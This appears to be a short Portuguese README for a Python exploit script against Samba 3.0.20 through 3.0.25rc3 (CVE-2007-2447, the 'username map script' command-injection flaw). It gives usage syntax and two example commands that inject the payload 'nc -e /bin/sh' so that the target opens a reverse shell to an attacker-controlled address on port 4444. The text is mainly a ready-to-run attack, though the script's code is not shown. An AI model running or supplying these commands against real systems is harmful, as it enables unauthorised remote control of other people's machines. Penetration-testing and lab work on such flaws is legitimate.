
Implementação em Python do exploit de RCE do 'Username' map script' para Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
Implementação em Python do exploit de RCE 'Username' map script' para Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
python3 smbExploit.py <IP> <PORT> <PAYLOAD>
Exemplos:
python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'
python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'
CVE-2007-2447: Vulnerabilidade de Injeção Remota de Comandos
Samba 3.0.20 < 3.0.25rc3 - Execução de Comandos 'Username' map script' (Metasploit)